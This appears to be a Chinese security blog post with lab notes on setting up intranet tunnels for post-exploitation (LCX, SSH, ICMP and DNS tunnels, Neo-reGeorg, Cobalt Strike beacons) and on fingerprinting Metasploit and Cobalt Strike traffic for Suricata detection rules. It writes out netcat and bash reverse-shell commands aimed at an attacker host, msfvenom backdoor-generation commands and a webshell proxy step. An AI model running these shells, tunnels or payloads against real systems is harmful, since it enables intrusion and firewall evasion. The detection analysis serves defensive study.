内网隧道的搭建以及攻击流量特征概述

之前发了一篇去年学习内网时所记录的一些笔记,没想到过了,然后就想起之前还有一篇隧道的笔记,在重温的时候结合去年做过的msf和cs的一些攻击流量,心跳特征,就一起揉合在了一起有了此篇文章

隧道的分类

关于隧道的分类大体可以从两个方面进行分类

如果是从流量层分类

1、应用层隧道(DNS HTTP SSH)

2、传输层隧道(TCP隧道 UDP隧道)

3、网络层隧道(ICMP隧道 IPv6隧道)

如果从作用上来分类

1、反弹SHELL(nc python bash)

2、端口转发(LCX SSH iptables telnet)

3、端口映射(LCX NPS FRP)

3、正向代理 (EW NSP FRP)

4、反向代理 (EW NSP FRP)

端口转发和端口映射

端口转发,有时被称为做隧道,是安全壳( SSH)为网络安全通信使用的一种方法简单来说,端口转发就是将

一个端口收到的流量转发到另一个端口。

端口映射是 NAT的一种,功能是把在公网的地址转成私有地址。简单来说,端口映射就是将一个端口映射

到另一个端口供其他人使用

Http代理和Socks代理(隧道)

Http代理用的是Http协议,工作在应用层,主要是用来代理浏览器访问网页。

Socks代理用的是Socks协议,工作在会话层,主要用来传递数据包。socks代理又分为Socks4和

Sock5,Socks4只支持TCP,而Socks5支持TCP和UDP。

端口转发

LCX端口转发(反向代理)

端口转发:

Lcx -listen <监听slave请求的端口><等待连接的端口>

Lcx -slave <攻击机IP><监听端口><目标IP><目标端口>

端口映射:

Lcx -tran<等待连接的端口><目标IP><日标端口>

由于配置了防火墙只允许web访问,这个时候攻击者想访问3389端口,远程连接是不可以的,就需要使

用LCX进行端口转发

Web服务器开启了80端口,3389端口不允许出网,可以将web服务器的3389端口转发到允许出网的53

端口,这个时候攻击者在本地监听53端口并且转发到1111端口,这个时候攻击者连接自己的1111端

口,等于访问web服务器的3389端口(也可以搭公网的vps服务器)

注意:这里的攻击机和靶机都是在内网中,只不过靶机3389端口不出网,攻击机(跳板机)53端口出网

1、在攻击机器上运行以下命令,监听本地53端口并且转发到本地1111端口

lcx -listen 53 1111

2、在web靶机上运行以下命令, 将本地的3389端口转发到192.168.3.27的 53端口

lcx.exe -slave 192.168.3.27 53 127.0.0.1 3389

3、在攻击机器上运行远程桌面,地址为127.0.0.1:1111

使用SSH端口转发(正向代理)

SSH通过网络远程访问主机提供保护,可以对客户端和服务端之间的数据传输进行压缩和加密,有身份

验证、SCP、SFTP、和端口转发的功能

ssh -CfNg -L 本地端口:主机B_IP:主机B_端口 跳板主机A_IP

例如: ssh -CfNg -L 3333:192.168.52.135:3389 192.168.41.136,然后输入151的密码即可

访问跳板机器的3333端口就可以访问内网机器的3389端口

B可以访问A

B可以访问C

A访问不了B

ssh -CfNg -R 攻击者端口:目标主机IP:目标主机端口 -fN 攻击者_IP

在攻击的机器上访问端口就可以了(这里只能本地访问)

反弹连接

Netcat反弹Shell

Netcat简称NC,是一个简单、可靠的网络工具,被誉为网络界的瑞士军刀。通NC可以进行端口扫描、

反弹Shell、端口监听和文件传输等操作,常用参数如下:

image.png

正向shell

image.png

靶机上运行

nc -lvvp 1111 -e C:\Windows\System32\cmd.exe windows机器

nc -lvvp 1111 -e /bin/bash linux机器

在攻击机上运行

nc 192.168.3.29 1111

拿到正向的shell

反向反弹Shell

攻击者机器 192.168.3.27不能直接访问靶机,但是靶机 192.168.3.29可以访问攻击者的机器,

这个时候使用反向shell

在攻击者机器运行:nc -lvvp 1111 监听1111端口

在靶机上运行 (反弹到公网)

nc -e C:\Windows\System32\cmd.exe 192.168.3.27 1111 windos机器

nc -e /bin/bash 192.168.3.27 1111 linux机器

PowerCat反弹Shell

PowerCat是一个powershell写的tcp/ip瑞士军刀,看一看成ncat的powershell的实现,然后里面也

加入了众多好用的功能,如文件上传,smb协议支持,中继模式,生成payload,端口扫描等等。

PowerCat命令

-l监听连接

-c连接到侦听器

-p要连接或监听的端口

-e执行

-ep执行Powershell

-r中继。格式:“-r tcp:10.1.1.1:443”

-u通过UDP传输数据

-dns通过dns传输数据

-dnsft DNS故障阈值

-t超时选项。默认值:60

-I输入:文件路径(字符串),字节数组或字符串

-o控制台输出类型:“主机”,“字节”或“字符串”

-of输出文件路径

-d连接后断开连接

-rep中继器。断开连接后重新启动

-g生成有效载荷

-ge生成编码的有效载荷

-h打印帮助消息

Bash反弹shell

Bash介绍

Shell也称为终端或壳,是人与内核之间的翻译官,而Bash则是Linux中默认使用的Shell

Bash 反弹Shell的命令如下:

bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1

bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&2

bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&1

bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&2

"bash-i"是指打开一个交互式的Shell。

"&"符号用于区分文件和文件描述符,">&"符号后面跟文件时,表示将标准输出和标准错误输出重

定向至文件,">&"符号后面跟数字时表示后面的数字是文件描述符,不加"&"符号则会把后面的数

字当成文件。数字"0","1","2"是LinuxShell下的文件描述符, “0”是指标准输入重定向, “1”是

指标准输出重定向, “2”是指错误输出重定向。

"/dev"目录下"tcp"和"udp"是Linux中的特殊设备,可用于建立Socket连接,读写这俩文件就相当

于是在Socket连接中传输数据。">&/dev/tcp/攻击机_ip/攻击机端口"则表示将标准输出和标准错误

输出重定向到"/dev/tcp/攻击机ip/攻击机端口"文件中,也就是重定向到了攻击机,这时目标机的命

令执行结果可以从攻击机看到。"0>&1"或"0>&2"又将标准输入重定向到了标准输出,而标准输出

重定向到了攻击机,因此标准输入也就重定向到了攻击机,从而可以通过攻击机输入命令,并且可以

看到命令执行结果输出

攻击机器使用nc执行监听命令

nc -lvvp 9999 监听 TCP

nc -lup 9999 监听UDP

实验靶机执行连接命令

bash -i >&/dev/tcp/192.168.3.27/9999 0>&1

Python 反弹Shell

执行python脚本

内网代理

内网资产扫描这种场景一般是进行内网渗透才需要的代理技术,如果你不打内网一般是不需要这种技术的,内网代理技术一般也是采用http或者socks代理

image.png
针对以上的情况我们需要如何对内网进行扫描呢?

1、直接使用web服务进行扫描(这种方式请看内网渗透)

2、做代理让web服务成为代理机器

针对于内网的机器要考虑是用代理隧道还是使用端口转发

使用代理一般是用http代理或者socks代理代理后的拓扑如下

image.png

代理连接工具

windows工具

如果是windows是proxyifile工具

linux工具

linux工具下一般使用命令行工具

ew工具

FRP(服务端搭在公网攻击者机器)

NPS使用

ICMP隧道(端口转发)

ICMP介绍

ICMPInternet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用

主要概念有:

1.确认ip数据包是否成功到达目的地

2.通知源主机发送ip数据包丢失的原因

3.ICMP是基于IP协议工作的

4.ICMP只能作用于IPV4,IPV6下,

ICMP 报文的种类有两种,即 ICMP 差错报告报文和 ICMP 询问报文

ICMP隧道原理由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很高的隐蔽性。把数据隐藏在ICMP数据包包头的data字段中,建立隐蔽通道。实现绕过防火墙和入侵检测系统的阻拦。

1.ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低

2.利用隧道传输时,需要接触更低层次的协议,这就需要高级用户权限

反弹shell进行连接

image.png

ICMP可以用作反弹shell,也可以用作隧道,这里我们使用工具:pingtunnel

image.png

DNS隧道

域名系统(Domain Name System,缩写:DNS)是互联网的一项服务。它作为将域名和IP地址相互映

射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用TCP和UDP端口53。

请求数据包

image.png

返回数据包

一般DNS隧道中通信的内容隐藏在请求区域和回答区域中,可能在不同的type类型中隐藏的地方不同

DNS隧道流量分析

我们搭建一个简单的DNS的隧道用于反弹shell

image.png

通过分析发现DNS请求类型是TXT,为某个主机名或域名设置的说明。并且域名的有所变化,通过观看

应该是16进制加密的,分期其中一段为(C:\Users\Ad.ministrator>.pc.test)

上线不出网

正向代理隧道

一般不出网的情况分为几种,第一种就是通过漏洞获得目标机器权限,然后发现此机器不出网,不出网其实意味着对方靶机在内网无法访问你,无法将流量带出来,其实这种情况绕过的方式也有挺多的,我们今天就只从代理隧道的层面来讲讲怎么去搭建,其实这时候往往就需要通过一个正向代理的方式去进行一个隧道搭建。

image.png

不出网意味着对方不能来访问你,那么像之前提到的反向代理隧道类似的就不能用,但是反过来我们就可以去连接对方,也就是常说的正向代理隧道,例如ssh隧道或者Neo-reGeorg等正向代理工具的使用。

这里推荐Neo-reGeorg,

https://github.com/L-codes/Neo-reGeorg

这个工具其实就是我们用neoreg.py生成一个webshell上传到对方靶机上,这时我们Neo-reGeorg客户端去连接webshell他就会在本地自动的开启一个隧道

  1. 生成webshell代理脚本

python3 neoreg.py generate -k password(密码自定义)

  1. 将代理脚本上传到目标服务器,web可访问的目录。
  2. 连接代理脚本:

python3 neoreg.py -k password -u

http://xx/xx.php(脚本地址

多层代理隧道

第二种上线不出网情况是指存在一台中转机器,这台机器出网,这种是最常见的情况。经常是拿下一台边缘机器,其有多块网卡,内网机器都不出网。这种情况下拿这个边缘机器做中转,就可以上线。

image.png

A区域的机器已经被控制并且上线到CS,现在要将B区域的机器进行上线,有如下的形式

SMB Beacon上线

介绍:SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons连接后,子Beacon从父Beacon获取到任务并发送。因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。

通信网络拓扑如下:

image.png

实验步骤如下:

1、首先控制A区域的边界主机,使用CS

image.png

2、创建SMB监听器

image.png

3、创建SMB类型的木马

image.png

4、通过内网渗透技术(横向移动或者域内攻击)上传木马到B区域的机器

image.png

5、运行木马之后进行连接

用link 命令链接它或者unlink 命令断开它

image.png

TCP Beacon

TCP Beacon和SMB Beacon类似只不过TCP Beacon不是使用SMB与父Beacon进行通信而是使用TCP socket进行通信,cs4.0之后,这个技术就不适合做第一个木马使用,因为他的流量都是明文的,容易被发现但是这个技术,很适合在内网穿透的时候去使用,在内网穿透的时候一般只能使用tcp beacon去生成木马。

image.png

实验步骤如下

1、首先控制A区域的边界主机,使用CS

image.png

2、创建TCP监听器

image.png

3、创建TCP类型的木马

image.png

4、上传木马之后进行连接

image.png

这里使用connect进行连接

HTTP代理上线

CS的监听器支持HTTP代理的配置,在配置监听器的时候可以添加HTTP代理,从而实现内网上线

image.png

网络的拓扑图如下:

image.png

1、首先控制A区域的机器然后使用搭建HTTP隧道,HTTP隧道搭建可以使用webshell工具或者其他的工具,我们一般会借助哥斯拉或者冰蝎等webshell工具会自带该功能

image.png

2、这里我们使用第三方的工具Goproxy工具可以简单的开启http隧道,支持各种形式(这个工具很牛逼啥都支持)

下载地址:https://github.com/snail007/goproxy

image.png

3、配置代理,因为我们是在本地进行测试,他是正向连接的代理,不能用 VPS,我们采用本地的CS

image.png

4、因为是双网卡,还需要做一个端口转发

netsh interface portproxy add v4tov4 listenaddress=192.168.111.136 listenport=8899 connectaddress=192.168.41.218 connectport=8081

image.png

5、运行后就可以上线啦

image.png

中转上线

CS中自带一个中转上线的操作,就是使用端口转发的技术和socket通信

image.png

1、点击这个按钮然后填写相关的内容,一般都是不变的

image.png

2、生成木马然后正常在机器上运行就可以了

image.png

攻击流量特征

上述讲到后渗透时隧道搭建的情况下所用到的一些流量以及流量特征,想到之前做过相关工具cs,msf流量的一些特征指纹,就想着一起发出来和大家一起学习一下

msf攻击流量

一、流量分析-MSF-模式模块(shell/meterpreter)-源码特征**

1.1生成shell模式的后门

msfvenom -p windows/x64/shell/reverse_tcp lhost=xx lport=6666 -f exe -o 6666.exe

设置msf的相关监听

use exploit/multi/handler

set payload windows/x64/shell/reverse_tcp

set lhost 0.0.0.0

set lport 6666

Run

Show options 查看当前需要配置的选项

image.png
1.2 Wirshark抓取当前网卡的数据包,然后执行木马程序,msf监听处可以看到靶机上线信息并且直接返回shell

image.png

输入ver、ipconfig、whoami等信息查询靶机信息

1.3 在wirshark筛选靶机与攻击机之间的TCP数据包,并且追踪TCP的数据流,发现shell模式下的远程命令都是明文的,那就可以通过规则之间识别敏感命令就可以识别出攻击包

image.png

1.4 生成meterpreter模式的后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=xx lport=6667 -f exe -o 6667.exe

设置msf的相关监听

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 6667

run

image.png

1.5 Wirshark抓取当前网卡的数据包,然后执行木马程序6667,输入getuid、ls、dir、pwd等命令

image.png

1.6 在wirshark筛选靶机与攻击机之间的TCP数据包,并且追踪TCP的数据流,发现TCP类型的数据内容跟上一步shell类型的明文不一样。

image.png

image.png

1.7 再生成一个同类型名为6677的后门,进行数据抓包,对比6667和6677两个后门的数据包之间有什么共同特征,排除相同模块的内容是否有随机性,有随机性的内容不能认定是特征。

使用exit命令从上个会话退出来,更改一下配置

image.png

1.8 随后生成对应的后门文件

msfvenom -p windows/meterpreter/reverse_tcp lhost=xx lport=6667 -f exe -o 6677.exe

image.png

1.9 取出后门,先开启抓包,再执行后门完成靶机上线,上线后执行getuid、ls等指令

image.png

image.png

1.10 查看6677后门的抓包情况,再打开事先保存的6667后门的抓包情况做对比

image.png

image.png

1.11 上面生成的同为32位的后门,接下来生成64位的后门进行对比

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xx lport=6688 -f exe -o 6688.exe

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 6688

run

image.png

1.12 上线后执行getuid、ls、pwd等命令

查看6688后门的抓包情况

image.png

观察发现还是具有很明显的差异。

1.13 小结:

第一种MSF控制上线后门变动:(特征)

变动模式-shell meterpreter

变动位数-x64 x32

变动协议-tcp http https

变动连接-正向 反向(bind reverse)

要做到全局全面的流量监控反制 必须要把每个的特征都找出来

二、流量分析-MSF-HTTP/S-基础特征

2.1 接下来测试变动协议http类型的(shell模式中没有http类型,只有meterpreter中有)

msfvenom -p windows/meterpreter/reverse_http lhost=xx lport=6668 -f exe -o 6668.exe

use exploit/multi/handler

set payload windows/meterpreter/reverse_http

set lhost 0.0.0.0

set lport 6668

run

image.png

2.2 上线后执行getuid、ls、pwd等命令

查看6668后门的抓包情况,发现数据包中多了http协议的数据内容

image.png

2.3 生成同类的http类型的后门,观察是否有变化

msfvenom -p windows/meterpreter/reverse_http lhost=xx lport=6668 -f exe -o 6670.exe

use exploit/multi/handler

set lport 6670

run

image.png

上线后执行getuid、ls、pwd等命令

查看6670后门的抓包情况,对比6668的数据包

image.png

2.4复制粘贴出来观察不同点和相同点

image.png

发现GET请求包里User-Agent里的内容是一样的,还发现回应包的所有内容完全一模一样

特征:固定的数据包请求和返回模板(格式一致)

2.5 尝试https类型的后门

msfvenom -p windows/meterpreter/reverse_http lhost=xx lport=7777 -f exe -o 7777.exe

use exploit/multi/handler

set payload windows/meterpreter/reverse_https

set lhost 0.0.0.0

set lport 7777

run

2.6 开启抓包,运行木马上线后,执行getuid等命令,查看抓包情况,寻找Client Hello和Server Hello的数据包,把他们数据内容中的JA3值取出来

image.png

第一行是所有的Client Hello的JA3值(Client Hello的包很多,但值只有这两种)

第二行是所有的Server Hello的JA3值(Server Hello的包很多,但值只有这两种)

image.png

2.7 为了确保准确性,再生成一个同类型的https的端口不同的后门,然后抓包对比,此处过程省略

三、反制规则-MSF-Suricata-编写&检测

接下来以http/https的特征为例,进行msf流量的IDS(入侵检测)规则编写和流量监控。

3.1 之前在做http类型的后门时分析过数据包的特征发现,只要是http后门的流量都会带有User-Agent:Mozilla/5.0这个字段

image.png

于是我们判定这是它的一个弱特征,写入到入侵检测的规则中(弱特征意味着在除了http后门流量中会出现这个内容之外,别的http流量也可能有这个内容。强特征是只有当前主体有,而其他主体没有的内容)

image.png

3.2 输入命令:suricata-c /etc/suricata/suricata.yaml -s /etc/suricata/rules/msf.rules -i eth0

开始监听eth0口的流量

image.png

双击木马上线后,输入一下命令如getuid、ls等,查看日志:cat /var/iog/suricata/fast.log

image.png

3.3 之前在做https类型的后门时分析过数据包的特征发现,Client Hello和Server Hello的数据包中的JA3值只会出现4个值

image.png

image.png

跟其他的https类型的流量相比,发现只有https类型的后门JA3值是这四个。于是我们判定这是它的一个强特征,写入到入侵检测的规则中

image.png

3.4 输入命令:suricata-c /etc/suricata/suricata.yaml -s /etc/suricata/rules/msf.rules -i eth0

开始监听eth0口的流量

image.png
双击木马上线后,输入一下命令如getuid、ls等,查看日志:cat /var/iog/suricata/fast.log

image.png

cs攻击流量

一、流量分析-CS-HTTP/S协议-源码特征

1.1 Kali的网络模式为桥接模式下,查看ip地址。

image.png

1.2 切换到CS所在的路径下运行CS的服务端

image.png

1.3 在kali上运行CS文件,设置服务器IP,密码。

image.png

1.4 在Window上运行cobaltstrike.exe文件

image.png

image.png

1.5 连接成功

image.png

1.6 监听器里可以设置很多连接类型

image.png

image.png

image.png

1.7 设置http和https这两种类型的监听器

image.png

image.png

1.8 生成64位的木马

image.png

image.png

image.png

1.9 在kali上开启wireshark抓包

image.png

image.png

image.png

1.10 运行1.exe木马,可以看到被控主机上线

image.png

image.png

image.png

image.png

image.png

image.png

image.png

1.11 生成32位的木马

image.png

image.png

image.png

1.12 开启抓包的同时运行木马,木马上线后输入getuid,查看抓包情况

image.png

image.png

1.13 CS特征之一-----checksum8(92L 93L)

源码示例:

public class Main {

public static long checksum8(String text) {

if(text.length()<4) {

return 0L;

}

text = text.replace("/", "");

long sum=0L;

for(int x = 0; x < text.length(); x++) {

sum += text.charAt(x);

}

return sum % 256L;

}

public static void main(String[] args) throws Exception {

System.out.println(checksum8("Yle2"));

}

}

其中dEpC跟之前64位木马的PHKz都属于CS心跳包的请求路径,将上述源码复制粘贴到以下网址中运行观察结果:

https://www.jyshare.com/compile/10/

image.png

image.png

因此判断流量中,HTTP协议请求url路径通过checksum8解密算法结果等于92或93符合CS源码的特征。

二、流量分析-CS-HTTP/S协议-基础特征

1.1指令特征

把第一次抓包的结果跟第二次抓包的结果进行逐一比对,可以得出一下相同点:

image.png

发现在回传数据的一个POST类型的数据包,在两次抓包过程中都有出现。此时可以尝试再创建几个同类型木马进一步观察此特征是不是100%会出现。经过测试可以得出这是CS木马的一个强特征。

1.2 CS心跳包解密

https://blog.didierstevens.com/didier-stevens-suite/

Python 1768.py xxxx.vir

在kali的抓包工具上导出心跳包

image.png

选择导出类型为http类型的,把CS的心跳包导出

image.png

image.png

image.png

image.png

image.png

打开解密脚本的文件夹,并且在文件目录输入cmd打开命令行

image.png

image.png

image.png

image.png

小结CS的流量特征:

image.png

1.3 https类型后门的强特征

生成https的两个或两个以上的后门,以此来形成对照,分析数据包特征

image.png

生成后,在kali上开启抓包,分别执行两个后门。因为是https类型的,数据被加密,只能看到clienthello和serverhello的JA3值,正好比对一下

image.png

image.png

image.png

分析后出现这四种结果

c hello

652358a663590cfc624787f06b82d9ae

4d93395b1c1b9ad28122fb4d09f28c5e

s hello

15af977ce25de452b96affa2addb1036

2253c82f03b621c5144709b393fde2c9

三、反制规则-CS-Suricata规则-编写&检测

输入命令suricata -c /etc/suricata/suricata.yaml -s /etc/suricata/rules/cobaltstrike.rules -i eth0

查看日志:cat /var/log/suricata/fast.log

  • 发表于 2025-04-01 09:42:28
  • 阅读 ( 3427 )
  • 分类:内网渗透

3 条评论

厉飞宇
这么长,这文章得写多久
这个其实是去年学习期间做的,然后前段时间想起来就发了
请先 登录 后评论
yangsu24
牛逼
请先 登录 后评论
请先 登录 后评论
暖阳春草
暖阳春草

2 篇文章

站长统计